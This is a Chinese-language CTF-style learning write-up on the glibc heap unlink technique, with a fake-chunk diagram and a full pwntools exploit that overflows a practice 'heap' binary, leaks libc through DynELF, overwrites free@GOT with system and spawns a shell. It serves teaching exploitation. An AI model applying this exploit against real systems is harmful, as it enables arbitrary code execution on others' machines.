0x00:起因
一直在堆的漏洞利用中不得要领,之前ZCTF又是三个堆的利用,血崩,chxx表哥给写了一个heap的pwn,学习学习。
0x01:
关于heap的unlink的漏洞利用,出的很早,在低版本的libc中,因为没有校验,导致在unlink的时候可以通过构造堆块dwordshoot,从而任意代码执行。
对于这种漏洞的学习,首先要了解malloc的工作原理及几种堆块的分配、使用方式。推荐文章 Understanding glibc malloc
0x02:文件信息
0x03:分析
程序是一个菜单式的程序,可以用户自定义分配块的长度和内容,漏洞在于:edit的时候,没做长度校验导致可以溢出,通过构造可以bypass 在libc中unlink的校验,从而getshell。
0x04:在drops看到的姿势
堆溢出的unlink利用方法
按照文中给出的方式,为了bypass
1 2
| if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) 4malloc_printerr (check_action, "corrupted double-linked list", P);
|
这么一个指针的校验,我们找到一个特殊的 指针ptr是指向p的(p指向堆)
那么可以根据p去构造bk和fd两个指针
1 2 3 4 5 6 7 8 9 10 11
| chunk0 malloc返回的ptr chunk1 malloc返回的ptr | | | | +-----------+---------+----+----+----+----+----+------+------+----+----+------+ | | |fake|fake|fake|fake| D | fake | fake | | | | | | |prev|size| FD | BK | A | prev | size&| | | | | prev_size |size&Flag|size| | | | T | size | flag | | | | | | | | | | | A | | | | | | | | | | | | | | | | | | | +-----------+---------+----+----+----+----+----+------+------+----+----+------+ |--------new_size--------| list
|
1 2 3 4 5 6
| l32(0) + l32(0x89) + l32(list-0xc) + l32(list-0x8) +"A"*(128-4*4)
l32(0x80) + l32(0x88) free(chunk_1)
|
分配两个长度合适的块,伪造第一个块,然后通过修改了第二个块的pre_size 和size
然后free(chunk1) 触发unlink
之后再次修改指针p 从而达到leak地址,修改地址的目的
0x05:exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| from pwn import * context.update(os='linux', arch='i386') p = remote('127.0.0.1',10001) chunk_list = 0x8049d60 free_got = 0x8049ce8 flag = 0 def leak(addr): data = "A" * 0xc + p32(chunk_list-0xc) + p32(addr) global flag if flag == 0: set_chunk(0, data) flag = 1 else: set_chunk2(0, data) res = "" p.recvuntil('5.Exit\n') res = print_chunk(1) print("leaking: %#x ---> %s" % (addr, res[0:4].encode('hex'))) return res[0:4] def add_chunk(len): 4print p.recvuntil('\n') 4p.sendline('1') 4print p.recvuntil('Input the size of chunk you want to add:') 4p.sendline(str(len)) def set_chunk(index,data): 4p.recvuntil('5.Exit\n') 4p.sendline('2') 4p.recvuntil('Set chunk index:') 4p.sendline(str(index)) 4p.recvuntil('Set chunk data:') 4p.sendline(data) def set_chunk2(index, data): p.sendline('2') p.recvuntil('Set chunk index:') p.sendline(str(index)) p.recvuntil('Set chunk data:') p.sendline(data) def del_chunk(index): 4p.recvuntil('\n') 4p.sendline('3') 4p.recvuntil('Delete chunk index:') 4p.sendline(str(index)) def print_chunk(index): 4p.sendline('4') 4p.recvuntil('Print chunk index:') 4p.sendline(str(index)) 4res = p.recvuntil('5.Exit\n') 4return res raw_input('add_chunk') add_chunk(128) add_chunk(128) add_chunk(128) add_chunk(128) set_chunk(3, '/bin/sh')
payload = "" payload += p32(0) + p32(0x89) + p32(chunk_list-0xc) + p32(chunk_list-0x8) payload += "A"*(0x80-4*4)
payload += p32(0x80) + p32(0x88) set_chunk(0,payload)
del_chunk(1) set_chunk(0, 'A' * 12 + p32(0x8049d54) + p32(0x8049d14)) raw_input('leak')
pwn_elf = ELF('./heap') d = DynELF(leak, elf=pwn_elf) sys_addr = d.lookup('system', 'libc') print("system addr: %#x" % sys_addr) raw_input('edit free@got') data = "A" * 12 + p32(chunk_list-0xc) + p32(free_got) set_chunk2('0', data) set_chunk2('1', p32(sys_addr)) del_chunk('3') p.interactive() p.close()
|
0x06:参考
- Understanding glibc malloc
- 堆溢出的unlink利用方法
- 最后还要感谢chxx大表哥的pwn和指导=。=
- 所有文件都在这里了 文件下载